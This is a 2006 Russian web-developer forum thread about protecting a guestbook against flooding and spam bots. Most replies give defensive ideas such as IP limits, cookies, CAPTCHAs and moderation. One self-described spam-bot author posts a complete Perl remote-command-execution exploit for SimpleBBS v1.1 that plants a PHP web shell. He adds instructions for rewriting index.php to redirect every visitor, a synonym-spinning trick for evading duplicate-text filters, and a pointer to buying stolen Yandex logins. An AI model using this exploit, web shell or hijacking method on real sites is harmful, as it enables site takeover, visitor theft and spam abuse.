|
|
|
| Здрасте! Хотел бы узнать какие существуют методы борьбы с флудом?!
Например у меня имеется гостевая, вся инфа лежит в БД.
Я например использую метод проверки рефера, типа если запрос идет с моего сайта то добавить пост а если не с моего то пшел нах!
Но эту защиту обойти легко!
Вот хотел бы узнать все возможные методы!!!
Я думаю что можно сделать что нить с использованием сессий, куков, ипа.
Напишете кто какие способы знает!!! | |
|
|
|
|
|
|
|
для: ZooM (ССС)
(15.06.2006 в 10:58)
| | 1. Можно сравнивать отправляемый текст с уже хранящимися текстами в БД. // Однородный флуд не пройдёт
2. Можно ограничить количество запросов с одного IP в течении какого-нибудь времени. // Защитимся от ботов. | |
|
|
|
|
|
|
|
для: ZooM (ССС)
(15.06.2006 в 10:58)
| | Сдаётся мне, что ты говоришь о СПАМе, а не о ФЛУДе! | |
|
|
|
|
|
|
|
для: Lex
(15.06.2006 в 11:10)
| | Речь идет о ФЛУДЕ!
К справке :
Спам - массовая рассылка рекламных объявлений по электронной почте без согласия на это получателей. Спам - непрошенное рекламное сообщение, сетевой мусор, мусорная почта, рассылаемые по электронной почте…
|
А речь о электронной почте здесь и не идет!
>1. Можно сравнивать отправляемый текст с уже хранящимися текстами в БД. // Однородный >флуд не пройдёт
>2. Можно ограничить количество запросов с одного IP в течении какого-нибудь времени. // >Защитимся от ботов.
Проверка текста на уже существующий не покатит! Так как можно сделать переменную при флуде и привязывать ее к имени или посту .
А вот второй вариант более подходящий! Можно исходник ?! :) | |
|
|
|
|
|
|
|
для: ZooM (ССС)
(15.06.2006 в 11:17)
| | Даёщ куки юзеру, при добавлении проверяеш, если есть куки то как ты сказал нах, если нету заносиш пост и даёш куки!
куки давай на то время которое не хочеш что бы повторялись! кочрео дай на 10 минут и всё )) через 10 миунт они унечтожатся и ты сможеш опять принять месагу ) | |
|
|
|
|
|
|
|
для: Panker
(15.06.2006 в 11:29)
| | Это современные боты легко обходят - нужно действительно к тексту привязываться. | |
|
|
|
|
|
|
|
для: ZooM (ССС)
(15.06.2006 в 11:17)
| | Термин ещё не очень устоявшийся, кроме того индекс цитируемости появился не давно, поэтому пол года назад началось явление - массовая рассылка по форумам и гостевым книгам, что эффективнее почтовой рассылки на порядки, так как позволяет поднять сайт в поисковых системах. Есть конечно очень большая опасность быть выкинутым из каталога поисковых систем навсегда и без постоянной такой работы индекс цитируемости упадёт ниже плинтуса, так как ссылки постоянно удаляют. Поэтому если это реклама в гостевой книге - вполне можно называть её спамом, как и флудом тоже. | |
|
|
|
|
|
|
|
для: ZooM (ССС)
(15.06.2006 в 11:17)
| | >А вот второй вариант более подходящий! Можно исходник ?! :)
Для этого потребуется изменить таблицу гостевой книги (добавить поле под IP-адрес) - какая она сейчас? | |
|
|
|
|
|
|
|
для: cheops
(15.06.2006 в 12:22)
| |
CREATE TABLE 'TABLE_NAME' (
'id' tinyint(5) NOT NULL auto_increment,
'name' varchar(18) NOT NULL,
'mess' text NOT NULL,
PRIMARY KEY ('id'),
UNIQUE KEY 'id' ('id')
) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=105 ;
|
А вот пост (пример ):
INSERT INTO 'TABLE_NAME' ('id', 'name', 'mess') VALUES (104, 'ИМЯ', 'ПРИВЕТ! <br><font color="#707070" style="font-size: 7pt">Время/Дата:14:38:57/14:06:06</font>'),
|
| |
|
|
|
|
|
|
|
для: ZooM (ССС)
(15.06.2006 в 10:58)
| | Т.е. ты хочешь, что бы сообщения идут с твоего сайта, то добавить пост, если с другого, нет? | |
|
|
|
|
|
|
|
для: komex
(15.06.2006 в 11:37)
| | Это я пример защиты привел!
А вопрос заключается в названии темы!
еще для справки :
Флуд- Это многократные повторяющитеся сообщения!
а я хочу просто вести с ними борьбу!ъ | |
|
|
|
|
|
|
|
для: ZooM (ССС)
(15.06.2006 в 11:39)
| | Сделай, что бы сообщения добавлялись только по прошествии определенного времени.
Или просто модерируй свой чат или форум. | |
|
|
|
|
|
|
|
для: komex
(15.06.2006 в 11:42)
| | Защита картинкой, самый эфективный метод! | |
|
|
|
|
автор: botovod (15.06.2006 в 16:06) |
|
|
для: himic
(15.06.2006 в 15:03)
| | вам повезло, чуваки - я сам бота писал. поэтому скажу что они могут:
1.Они могут перемещаться по многоуровневым форумам спокойно, парсят html и видят DOM - могут обойти все обьекты на странице по индексу.
2.К тексту привязаться нельзя - бот меняет по таблице синонимов и альтернативных букв текст каждый раз перед отправкой - т.е. текст каждый раз РАЗНЫЙ и РАЗНОЙ ДЛИНЫ, ключевых фраз ПРАКТИЧЕСКИ НЕТУ.
3.Куки полная фигня - робот использует ActiveX и полностью имитирует человека и может менять куки как захочет, т.к. ему доступна файловая система компа.
4.Боты сидят на ДИНАМИЧЕСКИХ IP - привязка по IP - тоже фуфло.
5.Если вы думаете что таймер робота остановит то тоже ошибаетесь :) Бот без таймеров не МОЖЕТ устойчиво работать, поэтому у него очень сложная, многоуровневая таймерная система.
5.Получать емайл они МОГУТ, и читать его, и кликать по ссылкам.
6.Картинки они МОГУТ ЧИТАТЬ, но ограничено - они их парсят bitmap/ActiveX и цветами невозможно защитится.
Как защититься от бота?
1.Модерация (хотя вы будете терять посетителей)
2.Мутная картинка (с нестандартным хранением эталонного кода в зашифрованом виде- иначе даже парсить картинку ненадо - можно напрямую получить код)
3.Непользоваться массовыми скриптами - под индивидуальный скрипт затачивать бота можно только из лютой ненависти. | |
|
|
|
|
|
|
|
для: botovod
(15.06.2006 в 16:06)
| | Слушай, очень интересно как делать этого бота. На каком языке ты его делал, сколько времени это заняло? | |
|
|
|
|
автор: botvod (15.06.2006 в 16:17) |
|
|
для: komex
(15.06.2006 в 16:11)
| | 1 версия VB - 10 дней - 7000 форумов
2 версия FoxPro 8.0 -2 месяца 200 000 форумов
3 версия foxpro + php/apachi СЕЙЧАС | |
|
|
|
|
|
|
|
для: botvod
(15.06.2006 в 16:17)
| | У тебя наверное исходники есть, может дашь посмотреть? Или хотя бы алгоритм написания дай. =) | |
|
|
|
|
|
|
|
для: komex
(15.06.2006 в 16:42)
| | >Как защититься от бота?
Самый тупой вопрос, нарисованный на картинке типа Быть или не быть или что то в таком духе поставит в тупик пока что любого бота. Псевдо 3д картинка со словом тоже неплохо.
Проблема не в умности ботов и ботоводов. Проблема в тупости и недостаточной фантазии защитников | |
|
|
|
|
автор: botovod (16.06.2006 в 08:17) |
|
|
для: RV
(15.06.2006 в 17:32)
| | сейчас боты в чистом виде уже не актульны.
в интернете уже бродят КИБОРГИ - операторы (люди) в оболочке из ботовских программ.
и картинки с цифрами и вопросами их уже неостанавливают НИКАК. их производительность ниже бота, но намного выше человека, т.к. практически все функции автоматизированы, кроме критичных, и сайт он видит в сокращеном виде, в виде таблицы. их цель - быстрые форумы с большой посещаемостью и развитой модерацией.
а на подходе новая технология - БОТХАКИ - их цель изменить index.php и слить всех посетителей с сайта, используя стандартные эксплойты. Так, приведеный ниже эксплойт может получить управление над сайтом с форумом SimpleBBS v1.1.
#!/usr/bin/perl -w
# SimpleBBS v1.1(posts.php) remote command execution Xploit
use IO::Socket;
sub main::urlEncode {
my ($string) = @_;
$string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
#$string# =~ tr/.//;
return $string;
}
$serv=$ARGV[0];
$path=$ARGV[1];
$cmd=""; for ($i=2; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};
if (@ARGV < 3)
{
print "Usage:\r\n";
print "\n\n[*] usage: WD-SMPL.pl <host> <Path> <cmd>\n";
print "[*] usage: WD-SMPL.pl www.HosT.com /SimpleBBS/ cmd (ls -ali\n";
print "[*] uid=90(nobody) gid=90(nobody) egid=90(nobody) \n";
exit();
}
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.\n\n";
$shell='<?php ob_clean();echo"Hi Master!\r\n";ini_set("max_execution_time",0);passthru($_GET[CMD]);die;?>';
$shell=urlEncode($shell);
$data="loginname=sun&passwd=sun";
print $sock "POST ".$path."users.php HTTP/1.1\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Content-Length: ".length($data)."\r\n";
print $sock "Cookie: gl_session=%27".$shell."\r\n";
print $sock "Connection: Close\r\n\r\n";
print $sock $data;
close($sock);
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.\n\n";
$xpl="../logs/error.log";
$xpl=urlEncode($xpl)."%00";
print $sock "GET ".$path."data/posts.php?cmd=".$cmd." HTTP/1.1\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Cookie: language=".$xpl.";\r\n";
print $sock "Connection: Close\r\n\r\n";
while ($answer = <$sock>) {
print $answer;
}
close($sock);
|
далее ему останется только мочкануть index.php в корне сайта, и вставить в него типа :header ("Location: http://www......") - и все посетители сайта идут на указанный сайт.
и картинки с вопросами и цифрами тут сааавсем непомогут :)))) причем заметте, тут все можно сделать на полном автомате.
По поводу алгоритмов и описаний - я бы наверное смогбы написать целую книгу по ботам, но меня интересует корысный аспект - сколько я смог бы получить денежек.
а по поводу тупости и недостаточной фантазии защитников - дак тут все просто - я занимаюсь програмированием уже 17 лет, и есть например вебмастер, с трудом установивший стандартный скрипт форума или чата с опытом менее года. На кого вы поставите - на защиту, или на нападение !?? ;)) | |
|
|
|
|
|
|
|
для: ZooM (ССС)
(15.06.2006 в 10:58)
| | Да тема с флудом очень актуальна.... особенно когда в твою гостевую разную дрянь боты постят ежедневно.... модерировать устанешь. Да и к каждой форме прикручивать защитные катинки не очень хочется... мда...
Вот про написание ботов очень интересно... подскажите где про принцип можно почитать...
ест-но кодом никто делиться не будет :) и ето правильно... | |
|
|
|
|
автор: botovod (16.06.2006 в 08:40) |
|
|
для: Fanat
(15.06.2006 в 22:35)
| | приведенное выше показывает, в какой попе Вы находитесь..
вы пытаетесь использовать устаревшую систему защиты против очень технологичных программ, по уровню выше форумных / чатовых технологий и проигрываете.
действительно, хорошие боты не выложены в инете и их нигде нельзя скачать.
то что там имеется - это дешевый ширпотреб, от которого можно защитится
картинкой, типа
<? // protect_picture.php - in file
if (!isset($code)) $code = "0"; $code=htmlspecialchars($code);
$code=base_convert($code,30,10);
$im = ImageCreateFromGif('img/protection.gif');;
header("Content-type: image/gif");
$ct = ImageColorAllocate($im, 0, 0, 0);
ImageTTFText($im, 20, 15, 20, 40, $ct,"arial",$code);
ImageGif($im);
?>
|
<? srand((float)microtime()*1000000);$code=rand(1000,9999); ?>
<img src="protect_picture.php?code=<? echo base_convert($code,10,30) ?>">
|
но против серьезного бота или киборга - это ниочемная защита. | |
|
|
|
|
автор: INTERESNO (16.06.2006 в 09:31) |
|
|
для: botovod
(16.06.2006 в 08:40)
| | это код взят из технологии почтовых маяков и переписан за несколько минут по теме :))
и научитесь отличать сначала спам от флуда и флейма, а потом может и дальше продвинитесь :)))) | |
|
|
|
|
|
|
|
для: botovod
(16.06.2006 в 08:40)
| | А что вы скажите насчёт яндекса?
Там я думаю крутая защита картинкой стоит | |
|
|
|
|
|
|
|
для: himic
(16.06.2006 в 09:37)
| | >спам от флуда и флейма
мне например не нравятся эти англицкие слова
надо чаще употреблять Русские выражения
напр: Массовая рассылка | |
|
|
|
|
автор: botovod (16.06.2006 в 09:46) |
|
|
для: himic
(16.06.2006 в 09:37)
| | все ресурсы яндекса находятся уже более 2 лет под контролем ботов
если интересует, на plati.ru можно купить базу логинов yandex.ru / narod.ru | |
|
|
|
|
автор: botovod (16.06.2006 в 10:38) |
|
|
для: botovod
(16.06.2006 в 09:46)
| | кстати, они строят свою зщиту на анализе подобия текста эталонному.
они заводят буфер с последними сообщениями и с ним сравнивают текущий текст при добавлении - если он совпадает на сколькото процентов, то он режется. но текст, генерированый по таблице синонимов (фасетный способ) он неберет :))))
// в тексте ставляется код вида
$a=faset(" (|Привет,|Здравствуйте,|Hi,|) (|чуваки!|господа!|друзья!|) ");
// где faset() просто случаным образом выбирает строку из подстроки в скобках
// и получает текст $a=" Привет, друзья! " - 3х3=9 вариантов
|
| |
|
|
|
|
|
|
|
для: botovod
(16.06.2006 в 10:38)
| | 17 лет программирования - это круто. А ты где учился? | |
|
|
|
|
автор: botovod (16.06.2006 в 10:50) |
|
|
для: komex
(16.06.2006 в 10:40)
| | а где можно было учиться програмированию 17 лет назад? ;)
я учился програмировать на ДВК, УКНЦ, Радио86, Микроша, Львов ПК, Специалист, Апогей, и прочих компах самостоятельно, потом создал свою компьютерную фирму, в которой проработал 6 лет, затем продал. Сейчас вот в инете деньги заработаваю :)) | |
|
|
|
|
автор: botovod (16.06.2006 в 14:28) |
|
|
для: botovod
(16.06.2006 в 08:40)
| | как видно из данного примера - здесь самое слабое место это защита переменной $code
она гдето должна храниться. Если она храниться в куки - то ее просто достать, если в сессии, то после получения идентификатора сессии она тоже доступна, если в файле до можно ее запросто прочитать. отсюда вывод:
ПЕРЕМЕННАЯ $code ДОЛЖНА ХРАНИТЬСЯ В MYSQL ПОД ПАРОЛЕМ И ТОЛЬКО ТАМ!.
но этого практически никто неделает, поэтому боты и "распознают" картинки в стандартных скриптах форумов! :P
можно шифровать переменную, но шифр должен быть нестандартным - алгоритм должен быть разным у разных сайтов! а на стандартных скриптах этого нет. | |
|
|
|
|
|
|
|
для: botovod
(16.06.2006 в 14:28)
| | >ПЕРЕМЕННАЯ $code ДОЛЖНА ХРАНИТЬСЯ В MYSQL ПОД ПАРОЛЕМ И ТОЛЬКО ТАМ!.
Неоднократно читал об этом и, по наивности своей, считал что так давно и делают:) | |
|
|
|